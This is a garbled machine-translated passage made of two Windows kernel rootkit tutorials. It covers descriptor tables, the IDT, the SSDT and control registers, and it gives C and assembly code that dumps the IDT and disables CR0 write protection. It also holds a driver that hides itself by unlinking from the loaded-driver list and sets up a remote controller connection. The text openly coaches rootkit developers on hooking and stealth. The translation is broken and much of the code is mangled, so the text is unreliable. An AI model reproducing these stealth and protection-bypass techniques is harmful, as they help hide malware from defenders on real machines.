In addition to tracking the information of the ring, the CPU is also responsible for making many other decisions. For example, the CPU must decide when an interrupt occurs, the software program

Crash, hardware issues attention signals, user-mode programs try to communicate with kernel-mode programs, and multi-threaded programs need to switch threads

Action to be performed. Obviously the operating system code has to handle such things, but the CPU always handles them first.

For each important event, the CPU must indicate the software routine used to handle the event. Since all software routines exist in memory,

It is necessary for the CPU to store the addresses of important software routines. More specifically, the CPU needs to know where to find the address of the important software routine

. All addresses cannot be stored internally by the CPU, so it must query its values, and this operation is completed through the address table. When interruption and other events

When this occurs, the CPU querys the event in a table and looks for the corresponding address of a software that handles the event. The only information the CPU needs is

The base address of these tables in memory.

There are many important CPU tables, including:


Global Descriptor Table (GDT), used to map addresses.
Local Descriptor Table (LDT), used to map addresses.
Page Directory, used to map addresses.
LIJ break descriptor table (lnterrupt Descriptor Table, IDT), used to find interrupt handlers.


In addition to CPU tables, the operating system itself also saves a batch of tables. The CPU does not directly support these tables implemented by the OS, so the OS passes special functions


and code to manage them. One of the important tables is:

System Service Dispatch Table (SSDT)

Windows OS uses these tables for processing system calls for multiple uses. The following sections describe these tables and analyze how they work

, and some suggestions are given for rootkit developers to modify or hook these tables in order to provide stealth operations or capture data.

4.4 Memory descriptor table

A table of CPU bundle tracking information may contain descriptors. There are many types of descriptors, which can be inserted or modified by rootkit.

4.4.1 Global descriptor table

A lot of tricks can be implemented through the GDT (Global Descriptor Table). GDT can be used to map different addresses

Range can also lead to task switching. The base address of GDT can be found through the SGDT instruction, and the position of GDT is changed through the LGDT instruction.

4.4.2 Local descriptor table

LDT (Local Descriptor Table) local descriptor table, allowing each task to have a unique descriptor**. When specifying a segment, the table


The indicator bit (table-indicator bit) can be selected in the question of GDT and LDT, and the LDT can contain the same type of descriptor as GDT.


4.4.3 Code Snippet


When accessing code memory, the CPU uses the segment specified in the Code Segment (CS) register, which can be in the descriptor table


Specify. Any program, including rootkit, can modify CS sending by executing far call, far jump or far return instructions.


register where CS pops up from the top of the stack. Interestingly, the code can be executed simply by setting the R bit in the descriptor to O.


4.4.4 Calling the gate


A special descriptor can be placed in LDT and GDT, called a call gate. If the descriptor is set to call the gate, the program

A far call can be performed, and when the call occurs, a new ring level can be specified. Call gate allows user-mode programs

Entering kernel mode by executing function calls, this is an interesting backdoor for rootkit programs. The same mechanism can be used

A far jump, but this operation can only be performed if the permission level of the call gate is equal to or lower than the process that performed the jump.

When a call gate is used, the address is ignored - only the descriptor number works. The data structure of the calling gate will be the code of the called function

The location informs the CPU that parameters can be read optionally from the stack. For example, a call gate could be created so that the caller can refer to the secret command

Put the number on the stack.

4.5 Interrupt descriptor table

Interrupt Descriptor Table Register (IDTR) can store interrupt descriptor table (Interrupt

Descriptor Table, IDT) The base address (start address) in memory. IDT is used to find the software function used to handle interrupts, it is

It is very important that a large number of low-level functions in the computer use interrupts. For example, an interrupt signal is generated whenever a keystroke is performed on the keyboard.


IDT is an array of 256 items—each interrupt corresponds to one of its items, meaning that each processor supports up to 256 interrupts. in addition


, each processor has its own IDTR, and therefore also has its own interrupt table. If the computer contains multiple CPUs, it is deployed on the computer


The rootkit must take into account that each CPU has its own mid-section table.


When an interrupt occurs, it can be obtained from an interrupt instruction or a programmable interrupt controller (PIC).


Get the interrupt number. In both cases, the software function to be called is searched through the interrupt table, which is sometimes called a vector or


Interrupt Service Routine (ISR).


If the processor is in protected mode, the interrupt table is an array of 256 8-byte items, each containing the ISR address and some other


Safety-related information.


In order to obtain the memory address of the interrupt table, the IDTR must be read. This is completed by the SIDT (Store Interrupt Descriptor Table) command.


The content of the IDTR can also be modified through the LIDT (Load Interrupt Descriptor Table) instruction.


One trick used by rootkit is to create a new interrupt table, which hides the modifications made to the original interrupt table. Virus scanners can


Check the integrity of the original IDT, but rootkit can make a copy of the IDT, modify the IDTR, and then comfortably in undetectable situations


Down. Modify the copied IDT.


The SIDT instruction stores the contents of IDTR in the following format:
★ /* sidt returns idt in this format */
typedef struct
{
unsigned short IDTLimit;
unsigned short LowIDTbase;
unsigned short HiIDTbase;
} IDTINFO;

The attacker can find the base address of the IDT and dump its contents through the data provided by the SIDT instruction. Remember that IDT contains up to 256 items,


Each item contains a pointer to the interrupt service routine, and the structure of each item is as follows:



// entry in the IDT: this is sometimes called
// an "interrupt gate"
#pragma pack(l)
typedef struct
{
unsigned short LowOffset;
unsigned short selector;
unsigned char unused_lo;
unsigned char segment_type:4; //0x0E is interrupt gate
unsigned char system_segment flag:l;
unsigned char DPL:2; //descriptor privilege level
unsigned char P:l; // present
unsigned short HiOffset;
} IDTENTRY;
#pragma pack()

This data structure is sometimes called an interrupt gate, which is used to locate functions that handle interrupt events in memory. Through the interrupt gate,


User-mode programs can call kernel-mode routines. For example, the target of a system call interrupt is at offset 0x2E in the IDT table





System calls are processed in kernel mode, although they can be initialized from user mode, other interrupt gates can be used as backdoors.


The rootkit is placed, and the rootkit can also hook the existing interrupt door.


The following code example can be used as a wizard to access IDT:
★ 
#define MAKELONG(a, b)
( (unsigned long) (((unsigned short) (a)) | ((unsigned long) ((unsigned
short) (b))) << 1 6))

The maximum number of terms in IDT is 256.


●#define MAX_IDT_ENTRIES 0xFF●


For example purposes, the analyzer is implemented in the DriverEntry routine of the example rootkit.

NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject,
IN PUNICODE_STRING theRegistryPath )
{
IDTINFO idt_info; // this structure is obtained by
// calling STORE IDT ( sidt)
IDTENTRY* idt_entries; // and then this pointer is
// obtained from idt_info
unsigned long count;
// load idt_info
___asm sidt, idt_info

Use the data returned by the SIDT instruction to obtain the base address of the IDT, then iterate through each item, and display some data into the debug output information.

idt entries = (IDTENTRY*)
MAKELONG (idt_info.LowIDTbase, idt_info. HiIDTbase);
for (count = 0;count <= MAX_IDT_ENTRIES;count++)
char t [255];
IDTENTRY *i = &idt_entries[count];
unsigned long addr = 0;
addr = MAKELOblG (i->LowOffset, i>HiOffset) ;
_snprintf (_t,
253,
"Interrupt %d: ISR 0x%08X", count, addr);
DbgPrint (-t) ;
return STATUS SUCCESS;
}

The above code example explains how to analyze IDT. No actual modifications were made to the IDT. However, these codes can easily evolve into more complex processes


Have a foundation.


In addition to interrupt gates, IDT can also include task gates and trap gates. The only difference between a trap door and an interrupt door is


It can be interrupted by a maskable interrupt, but the interrupt gate cannot. On the other hand, the task gate is a very outdated processor feature, which


Can be used to force task switching of x86 processors. Since Windows does not use this feature, it will not be explained in an example here.


Tasks should not be confused with processes in Windows operating systems. The task of the x86 CPU is to switch sections through task switch (Task Switch


Segment, TSS) A tool originally used for task management through hardware. Linux, Windows, and many other OSes


In most cases, task switching is not used.


4.6 System service schedule


The system service schedule is used to query functions that process specific system calls. This tool is implemented in the operating system rather than in the CPU. There are two types of execution of the program


How to line system calls: use interrupt 0x2E, or use the SYSENTER instruction.


On Windows XP and later systems, programs usually use the SYSENTER directive, while older platforms use interrupt 0x2E. These two machines


The system is completely different, although they can get the same results.


Executing a system call will cause the KiSystemService function to be called in the kernel. This function reads the system call number from the EAX register.


And query the call in SSDT. This function also copies the system call parameters pointed to by the EDX register from the user mode stack to the kernel module


style stack. Some rootkits will hook into this process to sniff data, change data parameters, or redirect system calls.


4.7 Control Register


In addition to the various tables of the system, there are also some special registers that control important CPU characteristics. They can be utilized by rootkits.


4.7.1 Control Register O


The control register contains some data bits that control how the processor works. For example, a common method to disable the kernel-fJ memory access protection mechanism


The method is to modify the control register CRO.


Control registers initially appear in low-level 286 processors, formerly known as machine status word. With 386 processing


The release of the series of controllers is renamed as Control Register O (CRO). Until the 486 series processor appears


, Write Protection (Write Protect, WP) bits are added to the CRO. The WP bit controls whether the processor is allowed to write memory marked as read-only attributes.


Page. If this bit is set to O, the memory protection mechanism will be disabled. This is for kernel rootkits that intend to write information into OS data structures


Said it is very important.


The following code shows how to use CRO tips to disable and re-enable the memory protection mechanism.

// UN-protect memory
__asm
{
push eax
mov eax, CRO
and eax, OFFFEFFFFh
mov CRO, eax
pop eax
// do something
// RE-protect memory
__asm
{
push eax
mov eax, CRO
or eax. NOT OFFFEFFFFh
mov CRO, eax
pop eax
}

4.7.2 Other control registers


There are 4 control registers for managing other functions of the processor. The CRI is not used or not specified in the documentation. CR2 when the processor is in security


In guard mode, it is used to store the previous address that caused the page failure. The address of the CR3 storage page directory. CR4 in the Pentium series (and 486's after


The transactions it processes include when virtual 8086 mode is enabled—that is, when to run on Windows NT


Run old DOS programs. If factory mode is enabled, the processor will trap privileged instructions such as CLI, STI, and INT. These extra registers


It is usually useless for rootkits.


4.7.3 EFlags register


The EFlags register is also important. Before, it handles trap flags. If this flag is set, the processor will perform step by step


. rootkit can use features such as stepping execution to detect if the debugger is running or hide itself from the virus scanning software;


By clearing the interrupt flag, interrupt can be disabled. In addition, most of the changes can be made through I/O Privilege Level


The number is based on the ring-based protection system used by Intel's operating system.
========

Rootkit Invisible Technology Tutorial


1. Summary

This article will lead readers to create a primary kernel-level rootkit, and then introduce two simple stealth technologies to it: process stealth technology and article

Invisible technology. At the same time, in order to allow readers to gain relevant experience in rootkit programming, we introduced the loading and unloading methods of rootkit by the way


and essential testing techniques.


The main component of the Rootkit introduced in this article is a device driver, so let's first look at our first rootkit.


2. Rootkit main body


This section introduces a simple rootkit instance, which actually only gives the main framework of the rootkit, in other words, it is a device driver


Activate the program. So why use device drivers as the main body? It's obvious because in the system, the device driver and the operating system


Likewise, they are privileged classes in programs - they run on Ring0 and have access to all code and data in the system. There is still a need


It is explained that because the main purpose of this example is to introduce how rootkit is invisible, it does not implement specific functions such as backdoors.


We will explain the rootkit in the form of source code, focusing on some important data structures and functions. Here is what we use


The first file is a header file named as follows:


//: Our rootkit header file
#ifndef _INVISIBLE_H_ 
#define _INVISIBLE_H_ 


typedef BOOLEAN BOOL; 
typedef unsigned long DWORD; 
typedef DWORD* PDWORD; 
typedef unsigned long ULONG; 
typedef unsigned short WORD; 
typedef unsigned char BYTE; 


typedef struct _DRIVER_DATA 

LIST_ENTRY listEntry; 
DWORD unknown1; 
DWORD unknown2; 
DWORD unknown3; 
DWORD unknown4; 
DWORD unknown5; 
DWORD unknown6; 
DWORD unknown7; 
UNICODE_STRING path; 
UNICODE_STRING name; 
} DRIVER_DATA; 


#endif 


We know that an application software can include a large number of definitions by simply citing a few files such as the Gang. But this approach


It won't work here when you get to the driver. There are roughly two reasons: one is that the driver is generally compact, and the other is that the driver uses it.


More specific and use fewer data types. Therefore, we have given a header file here, which defines some for me


The data type used by our rootkit.


Among the types defined here, there is a data type to mention: a double word type, which is actually an unsigned long integer. also,


DRIVER_DATA is a data structure not disclosed in the Windows operating system, which contains the previous one in the device driver directory.


and pointer to the next device driver. The rootkit we developed here happens to be implemented as a device driver, so


To remove the directory entry corresponding to our rootkit (i.e. driver) from the device driver directory, the system management program will not see it


It has thus achieved invisibility.


The above introduces the header file of rootkit. Now we will introduce the main part of rootkit. It is actually a basic device driver.


, the specific code is as follows:


// Invisible 


#include "" 
#include "" 
#include "" 
#include "" 


// Global variables
ULONG majorVersion; 
ULONG minorVersion; 


//When free build is performed, comment out it in case it is detected
VOID OnUnload( IN PDRIVER_OBJECT pDriverObject ) 

DbgPrint("comint16: OnUnload called."); 


NTSTATUS DriverEntry( IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING 
theRegistryPath ) 

DRIVER_DATA* driverData; 


//Get the operating system version
PsGetVersion( &majorVersion, &minorVersion, NULL, NULL ); 


// Major = 4: Windows NT 4.0, Windows Me, Windows 98 or Windows 95
// Major = 5: Windows Server 2003, Windows XP or Windows 2000
// Minor = 0: Windows 2000, Windows NT 4.0 or Windows 95
// Minor = 1: Windows XP 
// Minor = 2: Windows Server 2003 


if ( majorVersion == 5 && minorVersion == 2 ) 

DbgPrint("comint16: Running on Windows 2003"); 

else if ( majorVersion == 5 && minorVersion == 1 ) 

DbgPrint("comint16: Running on Windows XP"); 

else if ( majorVersion == 5 && minorVersion == 0 ) 

DbgPrint("comint16: Running on Windows 2000"); 

else if ( majorVersion == 4 && minorVersion == 0 ) 



DbgPrint("comint16: Running on Windows NT 4.0"); 

else 

DbgPrint("comint16: Running on unknown system"); 



// Hide this driver
driverData = *((DRIVER_DATA**)((DWORD)pDriverObject 20)); 
if( driverData != NULL ) 

// Remove the corresponding directory item of this driver from the item driver directory.
*((PDWORD)driverData->) = (DWORD)driverData->; 
driverData->->Blink = driverData->; 



// Allow uninstallation of this driver


pDriverObject->DriverUnload = OnUnload; 


// Configure connections for the controller of this Rootkit
if( !NT_SUCCESS( Configure() ) ) 

DbgPrint("comint16: Could not configure remote connection.\n"); 
return STATUS_UNSUCCESSFUL; 



return STATUS_SUCCESS; 

========

Related links

/zacklin/article/details/7779023
*/[Rootkit] Analysis